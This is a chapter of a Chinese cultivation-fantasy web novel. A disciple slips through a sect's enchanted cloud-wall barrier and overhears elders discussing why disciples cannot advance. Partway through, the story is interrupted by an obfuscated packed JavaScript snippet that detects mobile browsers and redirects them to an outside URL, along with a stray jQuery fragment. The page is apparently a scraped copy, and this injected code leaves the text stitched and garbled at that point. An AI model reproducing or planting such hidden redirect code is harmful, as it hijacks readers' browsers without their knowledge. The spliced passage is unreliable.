四年时间,乌绫早就将抚仙宗能去的地方都摸了个底朝天。
哪里有守卫、哪里有弟子半夜不睡觉聚众打牌、哪里有人趁着舍友睡觉偷偷修炼……她都一清二楚。
整个外门,唯有靠近云墙的地方没有任何守卫。外门弟子都知道穿过这堵云墙就是内门,是个人都会产生好奇心,教习和长老也从不阻止,随便他们往上面搞小动作——贴符咒、扔咒法、结阵法、刀劈剑砍斧头砸……
该用的手段都用上了,那云墙还是不断合拢,没有尽头。
倒是成了弟子们修炼的好方法。
乌绫也是其中的一员,不过自从发现蛮力破不开之后,她就没有再白费力气。
只要找到云墙是怎么形成的,就一定能找到破解之法。——她是这么认为的。
皇天不负有心人,在一次接一次的观察中,乌绫终于发现云墙的一丝破绽:
其实那并非是云雾缭绕,而是丝丝缕缕的灵力线。只不过外面嫁接了招摇山仙雾,看起来好像就是一堵“云”一般的屏障。所谓云墙,也不过是用来迷惑众人的称呼。
除非是修者以磅礴的星念之力穿透“云层”,否则谁也发现不了其中隐秘。而外门能够达到这个地步的人,只有杜长老。
乌绫还发现,这堵云墙并非是一成不变的,念力之线细细密密缠绕,并且似乎围绕着某个中心旋转;到了丑时三刻,这些念力纠缠将发生一次逆向变动,而正是变动的期间,彼此间的缝隙将变得最大——尽管微乎其微,但是对乌绫来说,却是一个莫大的机会。
岚山灯一盏一盏点亮了夜半的抚仙宗。灯火晖映下的亭台楼阁足见其以往恢弘。
桂池水飞溅,水帘倒挂,从崖壁倾泻而下;雪浪奔飞如云绕雾起,在岚山灯的映照下,呈现出如同星裁光织般的绝美飞花金帘,这就是双月十九才会出现的、无数修者想要一睹的胜景——“桂水金岩”。
然而此时乌绫对这般美景无暇顾及,她尽量挑着小道走,直到寻了个阴暗的角落,才在云墙边停了下来。
神识强大的好处在此时尽显,乌绫敢确定,七境以下的弟子绝不会发现她的气息,甚至就连杜长老,只要她留意,也能从他手里安然隐去。
此时距离丑时三刻,还有一刻来钟。
乌绫蹲在云墙边。她伸手轻轻触碰,只感觉到一股若有似无的阻力。她对阵法了解不多,但至少知晓,要想破防御型的阵法,靠武力值是万万不可,甚至会触发某种禁制。
于是这段时间她始终在溯源,从阵法的形成着手。幸亏乌绫有事没事都泡在藏书阁,最近她频繁来往藏书阁的行为才没有特别醒目。
《抚仙宗志》中对云墙没有特别的记载,但至少,在对玄境圣者的描述中没有提到内外门的隔绝,乌绫松了口气。要真是玄境那个级别布下的阵法,那她也就不必想着解开,可以收拾收拾回去睡了。
可以断定,这堵云墙是玄境陨落后才出现的。但也不会太晚。
抚仙宗人、山下新入门的弟子对这堵云墙似乎都见怪不怪,应当至少有百年岁月。再往前追溯,几位掌门和长老的境界最高也只达到了八境中期,要想布一个封存阖宗的阵法,略显吃力。
除非……
乌绫回忆在藏书阁古籍中看到的记载,“璇枢转斗,瑶光贯阵”,某些高阶的阵法,会借引星辰之力以贯阵眼,这“云墙”,应当也是借助了“外力”。
究竟是什么外力呢……乌绫沉思,丑时三刻,古神分四方二十八星宿,各方有天地瑞兽镇守,掌管四季运转和天地行则,丑时对应的星宿是……
危月燕!
乌绫猛然抬眼,没错,丑时的落星之舍,就是危月燕。
可,危宿主灾厄,一般防御类的阵法借力也是借“壁水貐”的屏障之力,抚仙宗……怎么会借灾亡之力?
然而乌绫能了解到的消息太少,她也无从探究,只觉得自己很可能发现了什么,或许是一张牵扯甚宽的网,如今她恰好站在了网的入口处,
到底要不要踏进去……
马上就是丑时三刻,她脑中无比清醒,因此也难得犹豫了。
但是,还不等乌绫纠结出个结果,忽然感应到陌生的气息。
她眼神一凛,迅速闪身隐于山石后,神识尽敛,任谁也觉察不出分毫。
在她刚躲好的刹那!那股气息瞬息而至!乌绫如果方才只慢了一秒,也会被抓个现行。
她极其小心地放出了一缕神识,脑海中立刻浮现来人的身影:青袍乌发,腰间佩个葫芦,是杜少陵。
一认出来人,乌绫就更加谨慎了,连那唯一一缕神识也收了回来。
不过杜长老似乎没有发现异常。
丑时三刻已到。
她看到杜长老站在了她方才站过的位置,视野所限,乌绫只能看得见他在原地站了片刻,背影微微晃动,应当是在施法咒之类。
周遭此刻格外安静,只余桂水金岩的水浪音。乌绫耐心十足地等着,足足一盏茶的功夫,她才感应到云墙阵法有了动静。
正巧此时,月辉照在云墙上,乌绫被云墙的光晕晃了下眼,然而再一抬眼,杜长老竟已经消失在了原地。
已经进去了?
稳妥起见,乌绫又等了片刻,才动作极轻地走向方才杜长老消失的地方。
她凝神静望,一时半会没看出任何异常。思忖片刻,乌绫终是伸出了手……
与方才感受到的阻力不同,她只感觉手掌仿佛穿过了云墙,到达了一方毫无阻隔的空间。
就在乌绫准备抽身而退时,云墙陡然膨胀,她霎时往后,却仍是慢了一步,躲闪不及,整个人被生生包裹了进去!
*
弟子院内。
坐在棋盘前的人正拿起一颗白子,蓦地手一顿,接着如有所感般看向了桂水金岩的方向。
道道金光随着水瀑一圈又一圈,从窗棂望去,只能依稀能看到一点光晕。
东方淮放下棋子,起身,绕过院子里横七竖八打地铺的同级弟子,眨眼之间便到了乌绫的房间外。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836784|211466||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他眉梢一动,不用停留便知晓屋内空无一人。
沉默片刻,须臾间,一道身影从原地消失,连风都未曾惊动分毫。
……
怪。
太怪了。
乌绫蹲在一株月迷草前,目光来回打量着这株成熟期的低阶灵草。
阴差阳错地闯入了云墙之后,起初她还半懵着,但身体下意识地危机感让她飞快瞬移至别的地方。
等到停下时,却不知自己到了哪座山头——周围全是崖洞草木,温度骤降,看起来更像是一个荒废的山峰。
既来之则安之,难得老天助佑,乌绫暂时没去想明早该如何出去。她尽量挑着隐蔽的地方行走,走着走着,便发现了此地的草木有些不对劲。
月迷草是最常见的炼制迷魂丹的材料,有灵气的地方就会有大片的月迷草,且灵气越盛,月迷草就越多,长势也越好。
此地月迷草成片生长,按理来说该是灵气十分充沛,然而仔细看,这月迷草却长势颓靡。
实在是……让人费解。
乌绫没有感受到人的气息,因此也就循着月迷草生长的地方往下探寻,往前走渐闻水声,清越空灵,仿佛落在了某个洞里。
直到走到尽头,得见一处寒潭,冰冷刺骨的感觉蔓延周身,激得乌绫顷刻动用了星念之力。
“这寒潭,看起来应当就是此地寒气的源头。”
乌绫无意识出了声,好在有叮咚水声掩盖,就算有人也察觉不到。
她靠近,正想一探究竟,冷不防听到了一个熟悉的声音:
「此事你有何想法?」
乌绫神色一凛,仓促之下,不得已用了七境之上才能用的隐身咒。
跨境动用术法,轻则修为倒退,重则伤及神识,然而此刻她顾不了那么多了。
声音不太清亮,乌绫细细辨别,发现是从寒潭传出来的。她稍稍迟疑,最终还是选择在原地不动。
「圣者死后,内门封锁,至今已有三百余年,少陵,包括你我师父在内的三位掌门,都念着此事。」
是一个男人的声音。听他唤杜长老的名字,莫非,也是宗门的某位长老?
接着是长久的沉默。
过了会儿,那男人又问起:「宗门大比输了?」
「是。」
「那些宗门本就对抚仙宗虎视眈眈,若是再输下去,连宗门都保不住,更别说什么掌门遗志。」这时一个女子出了声,语气冷淡。
乌绫察觉到很可能有三个八境的人,呼吸一滞,随后动作极轻极迅速地往后退,不曾想,却听到了一句惊天秘密:
「破境的问题一日不解决,弟子们便一日无法安然进阶……」
后面的话乌绫已经听不见了。
她反复思索着男人的话,什么意思,抚仙宗弟子,无法进阶?
就在乌绫要离开此地时,身后一声大喝:
“谁在外面!?”
与此同时,一股精纯的剑意以铺天盖地的气势袭来!